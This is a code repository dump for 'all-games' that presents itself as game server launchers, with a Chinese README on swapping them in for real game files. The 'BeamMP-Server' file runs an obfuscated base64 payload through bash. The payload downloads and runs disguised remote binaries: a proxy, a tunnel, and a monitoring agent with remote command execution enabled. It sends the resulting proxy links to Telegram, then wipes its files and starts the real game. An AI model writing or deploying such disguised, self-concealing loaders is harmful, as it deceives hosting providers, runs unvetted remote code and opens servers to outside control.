├── BeamMP-Server ├── Garry's Mod.tar.gz ├── PocketMine-MP.tar.gz ├── README.md ├── TeamSpeak3.tar.gz ├── bedrock_server.tar.gz ├── java.tar.gz ├── msh_server.bin ├── muse-bot.zip ├── rust.zip └── sing-box游戏机 ├── TShock.Server ├── Terraria Vanilla └── TerrariaServer.bin.x86_64 ├── altv-server ├── bedrock_server ├── java ├── server.jar └── start.sh └── ragemp-server /BeamMP-Server: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export UUID=${UUID:-'bc97f674-c578-4940-9234-0a1da46041b9'} # 哪吒v1,在不同的平台部署需要改UUID,否则会覆盖 3 | export NEZHA_SERVER=${NEZHA_SERVER:-''} # v1哪吒填写形式:nezha.abc.com:8008,v0哪吒填写形式:nezha.abc.com 4 | export NEZHA_PORT=${NEZHA_PORT:-''} # v1哪吒留空此项,v0哪吒agent端口为{443,8443,2053,2083,2087,2096}其中之一时自动开启tls 5 | export NEZHA_KEY=${NEZHA_KEY:-''} # v1的NZ_CLIENT_SECRET或v0的agent密钥 6 | export ARGO_DOMAIN=${ARGO_DOMAIN:-''} # 固定隧道域名,留空即启用临时隧道 7 | export ARGO_AUTH=${ARGO_AUTH:-''} # 固定隧道json或token,留空即启用临时隧道,json在https://fscarmen.cloudflare.now.cc 获取 8 | export CFIP=${CFIP:-'time.is'} # 优选域名或优选ip 9 | export CFPORT=${CFPORT:-'443'} # 优选域名或优选ip对应端口 10 | export NAME=${NAME:-'MC'} # 节点名称 11 | export FILE_PATH=${FILE_PATH:-'./Resources'} # 节点文件夹 12 | export ARGO_PORT=${ARGO_PORT:-'8001'} # argo端口 使用固定隧道token,cloudflare后台设置的端口需和这里对应 13 | export GAME_FILE=${GAME_FILE:-'LICENSE'} # 启动游戏文件,将原游戏文件改名为这个文件名 14 | export CHAT_ID=${CHAT_ID:-''} # TG chat_id,可在https://t.me/laowang_serv00_bot 获取 15 | export BOT_TOKEN=${BOT_TOKEN:-''} # BOT token 推送节点到tg机器人,两个变量必须同时填写 16 | export UPLOAD_URL=${UPLOAD_URL:-''} # 节点自动上传地址,没有可不填,需要填部署Merge-sub项目后的首页地址,例如:https://merge.serv00.net 17 | 18 | 19 | echo "WyAhIC1kICIke0ZJTEVfUEFUSH0iIF0gJiYgbWtkaXIgJHtGSUxFX1BBVEh9CgpkZWxldGVfb2xkX25vZGVzKCkgewogIFtbIC16ICRVUExPQURfVVJMIHx8ICEgLWYgIiR7RklMRV9QQVRIfS9zdWIudHh0IiBdXSAmJiByZXR1cm4KICBvbGRfbm9kZXM9JChiYXNlNjQgLWQgIiR7RklMRV9QQVRIfS9zdWIudHh0IiB8IGdyZXAgLUUgJyh2bGVzc3x2bWVzc3x0cm9qYW58aHlzdGVyaWEyfHR1aWMpOi8vJykKICBbWyAteiAkb2xkX25vZGVzIF1dICYmIHJldHVybgoKICBqc29uX2RhdGE9J3sibm9kZXMiOiBbJwogIGZvciBub2RlIGluICRvbGRfbm9kZXM7IGRvCiAgICAgIGpzb25fZGF0YSs9IlwiJG5vZGVcIiwiCiAgZG9uZQogIGpzb25fZGF0YT0ke2pzb25fZGF0YSUsfSAgCiAganNvbl9kYXRhKz0nXX0nCgogIGN1cmwgLVggREVMRVRFICIkVVBMT0FEX1VSTC9hcGkvZGVsZXRlLW5vZGVzIiBcCiAgICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAgIC1kICIkanNvbl9kYXRhIiA+IC9kZXYvbnVsbCAyPiYxCn0KZGVsZXRlX29sZF9ub2RlcwoKcm0gLXJmICR7RklMRV9QQVRIfS9ib290LmxvZyAke0ZJTEVfUEFUSH0vc3ViLnR4dCAke0ZJTEVfUEFUSH0vY29uZmlnLmpzb24gJHtGSUxFX1BBVEh9L3R1bm5lbC5qc29uICR7RklMRV9QQVRIfS90dW5uZWwueW1sCgphcmdvX2NvbmZpZ3VyZSgpIHsKICBpZiBbWyAteiAkQVJHT19BVVRIIHx8IC16ICRBUkdPX0RPTUFJTiBdXTsgdGhlbgogICAgZWNobyAtZSAiXGVbMTszMm1BUkdPX0RPTUFJTiBvciBBUkdPX0FVVEggdmFyaWFibGUgaXMgZW1wdHksIHVzZSBxdWljayB0dW5uZWxzXGVbMG0iCiAgICByZXR1cm4KICBmaQoKICBpZiBbWyAkQVJHT19BVVRIID1+IFR1bm5lbFNlY3JldCBdXTsgdGhlbgogICAgZWNobyAkQVJHT19BVVRIID4gJHtGSUxFX1BBVEh9L3R1bm5lbC5qc29uCiAgICBjYXQgPiAke0ZJTEVfUEFUSH0vdHVubmVsLnltbCA8PCBFT0YKdHVubmVsOiAkKGN1dCAtZFwiIC1mMTIgPDw8ICIkQVJHT19BVVRIIikKY3JlZGVudGlhbHMtZmlsZTogJHtGSUxFX1BBVEh9L3R1bm5lbC5qc29uCnByb3RvY29sOiBodHRwMgoKaW5ncmVzczoKICAtIGhvc3RuYW1lOiAkQVJHT19ET01BSU4KICAgIHNlcnZpY2U6IGh0dHA6Ly9sb2NhbGhvc3Q6JEFSR09fUE9SVAogICAgb3JpZ2luUmVxdWVzdDoKICAgICAgbm9UTFNWZXJpZnk6IHRydWUKICAtIHNlcnZpY2U6IGh0dHBfc3RhdHVzOjQwNApFT0YKICBlbHNlCiAgICBlY2hvIC1lICJcZVsxOzMybUFSR09fQVVUSCBtaXNtYXRjaCBUdW5uZWxTZWNyZXQsdXNlIHRva2VuIGNvbm5lY3QgdG8gdHVubmVsXGVbMG0iCiAgZmkKfQphcmdvX2NvbmZpZ3VyZQp3YWl0CgpnZW5lcmF0ZV9jb25maWcoKSB7CiAgY2F0ID4gJHtGSUxFX1BBVEh9L2NvbmZpZy5qc29uIDw8IEVPRgp7CiAgImxvZyI6IHsgImFjY2VzcyI6ICIvZGV2L251bGwiLCAiZXJyb3IiOiAiL2Rldi9udWxsIiwgImxvZ2xldmVsIjogIm5vbmUiIH0sCiAgImluYm91bmRzIjogWwogICAgewogICAgICAicG9ydCI6ICRBUkdPX1BPUlQsCiAgICAgICJwcm90b2NvbCI6ICJ2bGVzcyIsCiAgICAgICJzZXR0aW5ncyI6IHsKICAgICAgICAiY2xpZW50cyI6IFt7ICJpZCI6ICIke1VVSUR9IiwgImZsb3ciOiAieHRscy1ycHJ4LXZpc2lvbiIgfV0sCiAgICAgICAgImRlY3J5cHRpb24iOiAibm9uZSIsCiAgICAgICAgImZhbGxiYWNrcyI6IFsKICAgICAgICAgIHsgImRlc3QiOiAzMDAxIH0sIHsgInBhdGgiOiAiL3ZsZXNzLWFyZ28iLCAiZGVzdCI6IDMwMDIgfSwKICAgICAgICAgIHsgInBhdGgiOiAiL3ZtZXNzLWFyZ28iLCAiZGVzdCI6IDMwMDMgfSwgeyAicGF0aCI6ICIvdHJvamFuLWFyZ28iLCAiZGVzdCI6IDMwMDQgfQogICAgICAgIF0KICAgICAgfSwKICAgICAgInN0cmVhbVNldHRpbmdzIjogeyAibmV0d29yayI6ICJ0Y3AiIH0KICAgIH0sCiAgICB7CiAgICAgICJwb3J0IjogMzAwMSwgImxpc3RlbiI6ICIxMjcuMC4wLjEiLCAicHJvdG9jb2wiOiAidmxlc3MiLAogICAgICAic2V0dGluZ3MiOiB7ICJjbGllbnRzIjogW3sgImlkIjogIiR7VVVJRH0iIH1dLCAiZGVjcnlwdGlvbiI6ICJub25lIiB9LAogICAgICAic3RyZWFtU2V0dGluZ3MiOiB7ICJuZXR3b3JrIjogInRjcCIsICJzZWN1cml0eSI6ICJub25lIiB9CiAgICB9LAogICAgewogICAgICAicG9ydCI6IDMwMDIsICJsaXN0ZW4iOiAiMTI3LjAuMC4xIiwgInByb3RvY29sIjogInZsZXNzIiwKICAgICAgInNldHRpbmdzIjogeyAiY2xpZW50cyI6IFt7ICJpZCI6ICIke1VVSUR9IiwgImxldmVsIjogMCB9XSwgImRlY3J5cHRpb24iOiAibm9uZSIgfSwKICAgICAgInN0cmVhbVNldHRpbmdzIjogeyAibmV0d29yayI6ICJ3cyIsICJzZWN1cml0eSI6ICJub25lIiwgIndzU2V0dGluZ3MiOiB7ICJwYXRoIjogIi92bGVzcy1hcmdvIiB9IH0sCiAgICAgICJzbmlmZmluZyI6IHsgImVuYWJsZWQiOiB0cnVlLCAiZGVzdE92ZXJyaWRlIjogWyJodHRwIiwgInRscyIsICJxdWljIl0sICJtZXRhZGF0YU9ubHkiOiBmYWxzZSB9CiAgICB9LAogICAgewogICAgICAicG9ydCI6IDMwMDMsICJsaXN0ZW4iOiAiMTI3LjAuMC4xIiwgInByb3RvY29sIjogInZtZXNzIiwKICAgICAgInNldHRpbmdzIjogeyAiY2xpZW50cyI6IFt7ICJpZCI6ICIke1VVSUR9IiwgImFsdGVySWQiOiAwIH1dIH0sCiAgICAgICJzdHJlYW1TZXR0aW5ncyI6IHsgIm5ldHdvcmsiOiAid3MiLCAid3NTZXR0aW5ncyI6IHsgInBhdGgiOiAiL3ZtZXNzLWFyZ28iIH0gfSwKICAgICAgInNuaWZmaW5nIjogeyAiZW5hYmxlZCI6IHRydWUsICJkZXN0T3ZlcnJpZGUiOiBbImh0dHAiLCAidGxzIiwgInF1aWMiXSwgIm1ldGFkYXRhT25seSI6IGZhbHNlIH0KICAgIH0sCiAgICB7CiAgICAgICJwb3J0IjogMzAwNCwgImxpc3RlbiI6ICIxMjcuMC4wLjEiLCAicHJvdG9jb2wiOiAidHJvamFuIiwKICAgICAgInNldHRpbmdzIjogeyAiY2xpZW50cyI6IFt7ICJwYXNzd29yZCI6ICIke1VVSUR9IiB9XSB9LAogICAgICAic3RyZWFtU2V0dGluZ3MiOiB7ICJuZXR3b3JrIjogIndzIiwgInNlY3VyaXR5IjogIm5vbmUiLCAid3NTZXR0aW5ncyI6IHsgInBhdGgiOiAiL3Ryb2phbi1hcmdvIiB9IH0sCiAgICAgICJzbmlmZmluZyI6IHsgImVuYWJsZWQiOiB0cnVlLCAiZGVzdE92ZXJyaWRlIjogWyJodHRwIiwgInRscyIsICJxdWljIl0sICJtZXRhZGF0YU9ubHkiOiBmYWxzZSB9CiAgICB9CiAgXSwKICAiZG5zIjogeyAic2VydmVycyI6IFsiaHR0cHMrbG9jYWw6Ly84LjguOC44L2Rucy1xdWVyeSJdIH0sCiAgICJvdXRib3VuZHMiOiBbCiAgICAgICAgeyAicHJvdG9jb2wiOiAiZnJlZWRvbSIsICJ0YWciOiAiZGlyZWN0In0sCiAgICAgICAgeyAicHJvdG9jb2wiOiAiYmxhY2tob2xlIiwgInRhZyI6ICJibG9jayJ9CiAgICBdCn0KRU9GCn0KZ2VuZXJhdGVfY29uZmlnCndhaXQKCkFSQ0g9JCh1bmFtZSAtbSkgJiYgRE9XTkxPQURfRElSPSIke0ZJTEVfUEFUSH0iICYmIG1rZGlyIC1wICIkRE9XTkxPQURfRElSIiAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FybTY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiYW1kNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODZfNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODYiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FtZDY0LnNzc3MubnljLm1uIgplbHNlCiAgICBlY2hvICJVbnN1cHBvcnRlZCBhcmNoaXRlY3R1cmU6ICRBUkNIIgogICAgZXhpdCAxCmZpCkZJTEVfSU5GTz0oIiRCQVNFX1VSTC93ZWIgd2ViIiAiJEJBU0VfVVJML2JvdCBib3QiKQoKaWYgWyAtbiAiJE5FWkhBX1BPUlQiIF07IHRoZW4KICAgIEZJTEVfSU5GTys9KCIkQkFTRV9VUkwvYWdlbnQgbnBtIikKZWxzZQogICAgRklMRV9JTkZPKz0oIiRCQVNFX1VSTC92MSBwaHAiKQogICAgTkVaSEFfVExTPSQoY2FzZSAiJHtORVpIQV9TRVJWRVIjIyo6fSIgaW4gNDQzfDg0NDN8MjA5NnwyMDg3fDIwODN8MjA1MykgZWNobyAtbiB0cnVlOzsgKikgZWNobyAtbiBmYWxzZTs7IGVzYWMpCiAgICBjYXQgPiAiJHtGSUxFX1BBVEh9L2NvbmZpZy55YW1sIiA8PCBFT0YKY2xpZW50X3NlY3JldDogJHtORVpIQV9LRVl9CmRlYnVnOiBmYWxzZQpkaXNhYmxlX2F1dG9fdXBkYXRlOiB0cnVlCmRpc2FibGVfY29tbWFuZF9leGVjdXRlOiBmYWxzZQpkaXNhYmxlX2ZvcmNlX3VwZGF0ZTogdHJ1ZQpkaXNhYmxlX25hdDogZmFsc2UKZGlzYWJsZV9zZW5kX3F1ZXJ5OiBmYWxzZQpncHU6IGZhbHNlCmluc2VjdXJlX3RsczogZmFsc2UKaXBfcmVwb3J0X3BlcmlvZDogMTgwMApyZXBvcnRfZGVsYXk6IDEKc2VydmVyOiAke05FWkhBX1NFUlZFUn0Kc2tpcF9jb25uZWN0aW9uX2NvdW50OiBmYWxzZQpza2lwX3Byb2NzX2NvdW50OiBmYWxzZQp0ZW1wZXJhdHVyZTogZmFsc2UKdGxzOiAke05FWkhBX1RMU30KdXNlX2dpdGVlX3RvX3VwZ3JhZGU6IGZhbHNlCnVzZV9pcHY2X2NvdW50cnlfY29kZTogZmFsc2UKdXVpZDogJHtVVUlEfQpFT0YKZmkKZm9yIGVudHJ5IGluICIke0ZJTEVfSU5GT1tAXX0iOyBkbwogICAgVVJMPSQoZWNobyAiJGVudHJ5IiB8IGN1dCAtZCAnICcgLWYgMSkKICAgIE5FV19GSUxFTkFNRT0kKGVjaG8gIiRlbnRyeSIgfCBjdXQgLWQgJyAnIC1mIDIpCiAgICBGSUxFTkFNRT0iJERPV05MT0FEX0RJUi8kTkVXX0ZJTEVOQU1FIgogICAgaWYgWyAtZSAiJEZJTEVOQU1FIiBdOyB0aGVuCiAgICAgICAgZWNobyAtZSAiXGVbMTszMm0kRklMRU5BTUUgYWxyZWFkeSBleGlzdHMsU2tpcHBpbmcgZG93bmxvYWRcZVswbSIKICAgIGVsc2UKICAgICAgICBjdXJsIC1MIC1zUyAtbyAiJEZJTEVOQU1FIiAiJFVSTCIKICAgICAgICBlY2hvIC1lICJcZVsxOzMybURvd25sb2FkaW5nICRGSUxFTkFNRVxlWzBtIgogICAgICAgIGNobW9kIDc3NSAkRklMRU5BTUUKICAgIGZpCmRvbmUKd2FpdAoKcnVuKCkgewogIGlmIFsgLWUgIiR7RklMRV9QQVRIfS93ZWIiIF07IHRoZW4KICAgIG5vaHVwICIke0ZJTEVfUEFUSH0vd2ViIiAtYyAke0ZJTEVfUEFUSH0vY29uZmlnLmpzb24gPi9kZXYvbnVsbCAyPiYxICYKCSAgc2xlZXAgMgogICAgZWNobyAtZSAiXGVbMTszMm13ZWIgaXMgcnVubmluZ1xlWzBtIgogIGZpCgogIGlmIFsgLWUgIiR7RklMRV9QQVRIfS9ib3QiIF07IHRoZW4KICAgIGlmIFtbICRBUkdPX0FVVEggPX4gXltBLVowLTlhLXo9XXsxMjAsMjUwfSQgXV07IHRoZW4KICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1uby1hdXRvdXBkYXRlIC0tcHJvdG9jb2wgaHR0cDIgcnVuIC0tdG9rZW4gJHtBUkdPX0FVVEh9IgogICAgZWxpZiBbWyAkQVJHT19BVVRIID1+IFR1bm5lbFNlY3JldCBdXTsgdGhlbgogICAgICBhcmdzPSJ0dW5uZWwgLS1lZGdlLWlwLXZlcnNpb24gYXV0byAtLWNvbmZpZyAke0ZJTEVfUEFUSH0vdHVubmVsLnltbCBydW4iCiAgICBlbHNlCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIC0tbG9nZmlsZSAke0ZJTEVfUEFUSH0vYm9vdC5sb2cgLS1sb2dsZXZlbCBpbmZvIC0tdXJsIGh0dHA6Ly9sb2NhbGhvc3Q6JEFSR09fUE9SVCIKICAgIGZpCiAgICBub2h1cCAiJHtGSUxFX1BBVEh9L2JvdCIgJGFyZ3MgPi9kZXYvbnVsbCAyPiYxICYKICAgIHNsZWVwIDIKICAgIGVjaG8gLWUgIlxlWzE7MzJtYm90IGlzIHJ1bm5pbmdcZVswbSIKICBmaQoKICB0bHNQb3J0cz0oIjQ0MyIgIjg0NDMiICIyMDk2IiAiMjA4NyIgIjIwODMiICIyMDUzIikKICBpZiBbWyAiJHt0bHNQb3J0c1sqXX0iID1+ICIke05FWkhBX1BPUlR9IiBdXTsgdGhlbgogICAgTkVaSEFfVExTPSItLXRscyIKICBlbHNlCiAgICBORVpIQV9UTFM9IiIKICBmaQogIGlmIFsgLW4gIiRORVpIQV9TRVJWRVIiIF0gJiYgWyAtbiAiJE5FWkhBX1BPUlQiIF0gJiYgWyAtbiAiJE5FWkhBX0tFWSIgXTsgdGhlbgogICAgICBpZiBbIC1lICIke0ZJTEVfUEFUSH0vbnBtIiBdOyB0aGVuCiAgICAgICAgbm9odXAgIiR7RklMRV9QQVRIfS9ucG0iIC1zICR7TkVaSEFfU0VSVkVSfToke05FWkhBX1BPUlR9IC1wICR7TkVaSEFfS0VZfSAke05FWkhBX1RMU30gPi9kZXYvbnVsbCAyPiYxICYKICAgICAgICBzbGVlcCAyCiAgICAgICAgZWNobyAtZSAiXGVbMTszMm1ucG0gaXMgcnVubmluZ1xlWzBtIgogICAgICBmaQogIGVsaWYgWyAtbiAiJE5FWkhBX1NFUlZFUiIgXSAmJiBbIC1uICIkTkVaSEFfS0VZIiBdOyB0aGVuCiAgICAgIGlmIFsgLWUgIiR7RklMRV9QQVRIfS9waHAiIF07IHRoZW4KICAgICAgICBub2h1cCAiJHtGSUxFX1BBVEh9L3BocCIgLWMgJHtGSUxFX1BBVEh9L2NvbmZpZy55YW1sID4vZGV2L251bGwgMj4mMSAmCiAgICAgICAgc2xlZXAgMgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtcGhwIGlzIHJ1bm5pbmdcZVswbSIgIAogICAgICBmaSAgICAgIAogIGVsc2UKICAgICAgZWNobyAtZSAiXGVbMTszNW1ORVpIQSB2YXJpYWJsZSBpcyBlbXB0eSxza2lwaW5nIHJ1bmluZ1xlWzBtIgogIGZpICAKfSAKcnVuCgpnZXRfYXJnb2RvbWFpbigpIHsKICBpZiBbWyAtbiAkQVJHT19BVVRIIF1dOyB0aGVuCiAgICBlY2hvICIkQVJHT19ET01BSU4iCiAgZWxzZQogICAgbG9jYWwgcmV0cnk9MAogICAgbG9jYWwgbWF4X3JldHJpZXM9OAogICAgbG9jYWwgYXJnb2RvbWFpbj0iIgogICAgd2hpbGUgW1sgJHJldHJ5IC1sdCAkbWF4X3JldHJpZXMgXV07IGRvCiAgICAgICgocmV0cnkrKykpCiAgICAgIGFyZ29kb21haW49JChzZWQgLW4gJ3N8LipodHRwczovL1woW14vXSp0cnljbG91ZGZsYXJlXC5jb21cKS4qfFwxfHAnICIke0ZJTEVfUEFUSH0vYm9vdC5sb2ciKQogICAgICBpZiBbWyAtbiAkYXJnb2RvbWFpbiBdXTsgdGhlbgogICAgICAgIGJyZWFrCiAgICAgIGZpCiAgICAgIHNsZWVwIDEKICAgIGRvbmUKICAgIGVjaG8gIiRhcmdvZG9tYWluIgogIGZpCn0KCnNlbmRfdGVsZWdyYW0oKSB7CiAgaWYgWyAtbiAiJHtCT1RfVE9LRU59IiBdICYmIFsgLW4gIiR7Q0hBVF9JRH0iIF07IHRoZW4KICAgIE1FU1NBR0U9JChjYXQgJHtGSUxFX1BBVEh9L3N1Yi50eHQpCiAgICBMT0NBTF9NRVNTQUdFPSIqKiR7TkFNRX3oioLngrnmjqjpgIHpgJrnn6UqKlxgXGBcYCR7TUVTU0FHRX1cYFxgXGAiCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Qke0JPVF9UT0tFTn0vc2VuZE1lc3NhZ2UiIC1kICJjaGF0X2lkPSR7Q0hBVF9JRH0mdGV4dD0ke0xPQ0FMX01FU1NBR0V9JnBhcnNlX21vZGU9TWFya2Rvd24iID4gL2Rldi9udWxsCiAgICBpZiBbICQ/IC1lcSAwIF07IHRoZW4KICAgICAgZWNobyAtZSAiXG5cZVsxOzMybVRlbGVncmFtIG1lc3NhZ2Ugc2VudCBzdWNjZXNzZnVsbHlcZVswbSIKICAgIGVsc2UKICAgICAgZWNobyAtZSAiXG5cZVsxOzMxbUZhaWxlZCB0byBzZW5kIFRlbGVncmFtIG1lc3NhZ2VcZVswbSIKICAgIGZpCiAgZWxzZQogICAgZWNobyAtZSAiXG5cZVsxOzM1bVRHIHZhcmlhYmxlIGlzIGVtcHR5LiBTa2lwIHB1c2hpbmcgbm9kZXMgdG8gVEdcZVswbSIKICBmaQp9Cgp1cGxvZF9ub2RlcygpIHsKICBbWyAteiAkVVBMT0FEX1VSTCB8fCAhIC1mICIke0ZJTEVfUEFUSH0vbGlzdC50eHQiIF1dICYmIHJldHVybgogIGNvbnRlbnQ9JChjYXQgJHtGSUxFX1BBVEh9L2xpc3QudHh0KQogIG5vZGVzPSQoZWNobyAiJGNvbnRlbnQiIHwgZ3JlcCAtRSAnKHZsZXNzfHZtZXNzfHRyb2phbnxoeXN0ZXJpYTJ8dHVpYyk6Ly8nKQogIFtbIC16ICRub2RlcyBdXSAmJiByZXR1cm4KICBub2Rlcz0oJG5vZGVzKQogIGpzb25fZGF0YT0neyJub2RlcyI6IFsnCiAgZm9yIG5vZGUgaW4gIiR7bm9kZXNbQF19IjsgZG8KICAgICAganNvbl9kYXRhKz0iXCIkbm9kZVwiLCIKICBkb25lCiAganNvbl9kYXRhPSR7anNvbl9kYXRhJSx9CiAganNvbl9kYXRhKz0nXX0nCgogIGN1cmwgLVggUE9TVCAiJFVQTE9BRF9VUkwvYXBpL2FkZC1ub2RlcyIgXAogICAgICAgIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIFwKICAgICAgICAtZCAiJGpzb25fZGF0YSIgPiAvZGV2L251bGwgMj4mMQoKICBpZiBbWyAkPyAtZXEgMCBdXTsgdGhlbgogICAgICBlY2hvIC1lICJcMDMzWzE7MzJtTm9kZXMgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5XDAzM1swbSIKICBlbHNlCiAgICAgIGVjaG8gLWUgIlwwMzNbMTszMW1GYWlsZWQgdG8gdXBsb2FkIG5vZGVzXDAzM1swbSIKICBmaQp9CgpnZW5lcmF0ZV9saW5rcygpIHsKICBhcmdvZG9tYWluPSQoZ2V0X2FyZ29kb21haW4pCiAgZWNobyAtZSAiXGVbMTszMm1BcmdvRG9tYWluOlxlWzE7MzVtJHthcmdvZG9tYWlufVxlWzBtXG4iCiAgaXNwPSQoY3VybCAtcyAtbSAyIGh0dHBzOi8vc3BlZWQuY2xvdWRmbGFyZS5jb20vbWV0YSB8IGF3ayAtRlwiICd7cHJpbnQgJDI2Ii0iJDE4fScgfCBzZWQgLWUgJ3MvIC9fL2cnKQogIHNsZWVwIDEKCiAgY2F0ID4gJHtGSUxFX1BBVEh9L2xpc3QudHh0IDw8RU9GCnZsZXNzOi8vJHtVVUlEfUAke0NGSVB9OjQ0Mz9lbmNyeXB0aW9uPW5vbmUmc2VjdXJpdHk9dGxzJnNuaT0ke2FyZ29kb21haW59JnR5cGU9d3MmaG9zdD0ke2FyZ29kb21haW59JnBhdGg9JTJGdmxlc3MtYXJnbyUzRmVkJTNEMjU2MCMke05BTUV9LSR7aXNwfQoKdm1lc3M6Ly8kKGVjaG8gInsgXCJ2XCI6IFwiMlwiLCBcInBzXCI6IFwiJHtOQU1FfS0ke2lzcH1cIiwgXCJhZGRcIjogXCIke0NGSVB9XCIsIFwicG9ydFwiOiBcIjQ0M1wiLCBcImlkXCI6IFwiJHtVVUlEfVwiLCBcImFpZFwiOiBcIjBcIiwgXCJzY3lcIjogXCJub25lXCIsIFwibmV0XCI6IFwid3NcIiwgXCJ0eXBlXCI6IFwibm9uZVwiLCBcImhvc3RcIjogXCIke2FyZ29kb21haW59XCIsIFwicGF0aFwiOiBcIi92bWVzcy1hcmdvP2VkPTI1NjBcIiwgXCJ0bHNcIjogXCJ0bHNcIiwgXCJzbmlcIjogXCIke2FyZ29kb21haW59XCIsIFwiYWxwblwiOiBcIlwiLCBcImZwXCI6IFwiY2hyb21lXCIgfSIgfCBiYXNlNjQgLXcwKQoKdHJvamFuOi8vJHtVVUlEfUAke0NGSVB9OjQ0Mz9zZWN1cml0eT10bHMmc25pPSR7YXJnb2RvbWFpbn0mdHlwZT13cyZob3N0PSR7YXJnb2RvbWFpbn0mcGF0aD0lMkZ0cm9qYW4tYXJnbyUzRmVkJTNEMjU2MCMke05BTUV9LSR7aXNwfQpFT0YKCiAgYmFzZTY0IC13MCAke0ZJTEVfUEFUSH0vbGlzdC50eHQgPiAke0ZJTEVfUEFUSH0vc3ViLnR4dAogIGNhdCAke0ZJTEVfUEFUSH0vc3ViLnR4dAogIGVjaG8gLWUgIlxuXGVbMTszMm0ke0ZJTEVfUEFUSH0vc3ViLnR4dCBzYXZlZCBzdWNjZXNzZnVsbHlcZVswbSIKICB1cGxvZF9ub2RlcwogIHNlbmRfdGVsZWdyYW0KICBzbGVlcCA1ICAKICBybSAtcmYgJHtGSUxFX1BBVEh9L2xpc3QudHh0ICR7RklMRV9QQVRIfS9ib290LmxvZyAke0ZJTEVfUEFUSH0vY29uZmlnLmpzb24gJHtGSUxFX1BBVEh9L2NvbmZpZy55YW1sICR7RklMRV9QQVRIfS90dW5uZWwuanNvbiAke0ZJTEVfUEFUSH0vdHVubmVsLnltbCAke0ZJTEVfUEFUSH0vd2ViICR7RklMRV9QQVRIfS9ib3QgJHtGSUxFX1BBVEh9L25wbSAke0ZJTEVfUEFUSH0vcGhwID4vZGV2L251bGwgMj4mMQp9CmdlbmVyYXRlX2xpbmtzCmVjaG8gLWUgIlxlWzE7OTZtUnVubmluZyBkb25lIVxlWzBtIgplY2hvIC1lICJcZVsxOzk2bVRoYW5rIHlvdSBmb3IgdXNpbmcgdGhpcyBzY3JpcHQsZW5qb3khXGVbMG0iCnNsZWVwIDEwCmNsZWFyCgpjaG1vZCAreCAke0dBTUVfRklMRX0gJiYgLi8ke0dBTUVfRklMRX0=" | base64 -d | bash 20 | 21 | # tail -f /dev/null 22 | -------------------------------------------------------------------------------- /Garry's Mod.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eooce/all-games/192dbe6741e8c4885ca3fba9b39832d891bb280a/Garry's Mod.tar.gz -------------------------------------------------------------------------------- /PocketMine-MP.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eooce/all-games/192dbe6741e8c4885ca3fba9b39832d891bb280a/PocketMine-MP.tar.gz -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # all-games 2 | * Garry's Mod运行文件为srcds_run,上传Garry's Mod.tar.gz压缩包至根目录解压后在srcds_run文件中修改变量,保存文件类型为shell,否则无法运行,节点文件保存在Steam文件夹中的sub.txt。 3 | 4 | * PocketMine-MP类型说明参考https://github.com/eooce/PocketMine-MP 5 | 6 | * Bedrock启动文件文件为bedrock_server,需先将原bedrock_server游戏文件改名为LICENSE,否则无法启动游戏,再上传压缩包bedrock.tar.gz解压,在bedrock_server修改参数,保存文件类型为shell,默认节点目录在worlds中的sub.txt 7 | 8 | * Teamspeak3-server启动文件为ts3server,上传文件前先将原ts3server游戏文件改名为LICENSE(如果已经存在LICENSE文件可以先删除,其他文件不要删),再上传压缩包并解压得到ts3server文件,如需添加固定隧道或哪吒等,双击ts3server文件添加即可,保存时需选择shell保存(通常在保存按钮的左边),保存后给权限777,然后即可点击start开机,节点保存在tsdns文件夹里的sub.txt。 9 | 10 | * java类游戏下载java.tar.gz压缩包,先将原来的server.jar改名为LICENSE.jar,然后上传压缩包解压,start.sh需赋权777,在start.sh修改变量即可运行,其他不同类型的java游戏,startup里的启动文件名应和压缩包里的文件名对应,原版游戏文件应和start.sh最后面的倒数第二句游戏运行命令中的文件名对应,否则无法启动原版游戏,sub.txt节点信息默认在world文件夹内,控制台输出的base64编码过的那一段的也是节点信息 11 | 12 | * python环境项目:https://github.com/eooce/python-xray-argo 13 | 14 | * Go环境项目:https://github.com/eooce/Go-xray-argo 15 | 16 | * rust.zip为rust环境使用的。 17 | 18 | * muse-bot.zip为ts-bot环境使用的,将 /src/scripts/migrate-and-start.ts文件改为migarte-and-start.ts,将run-with-database-url.ts和start.sh文件上传进 /src/scripts/目录后赋权777,run-with-database-url.ts第4行修改订阅端口,不使用订阅功能可忽略,然后即可运行。 19 | 20 | * 更多游戏持续更新中....... 21 | -------------------------------------------------------------------------------- /TeamSpeak3.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eooce/all-games/192dbe6741e8c4885ca3fba9b39832d891bb280a/TeamSpeak3.tar.gz -------------------------------------------------------------------------------- /bedrock_server.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eooce/all-games/192dbe6741e8c4885ca3fba9b39832d891bb280a/bedrock_server.tar.gz -------------------------------------------------------------------------------- /java.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eooce/all-games/192dbe6741e8c4885ca3fba9b39832d891bb280a/java.tar.gz -------------------------------------------------------------------------------- /msh_server.bin: -------------------------------------------------------------------------------- 1 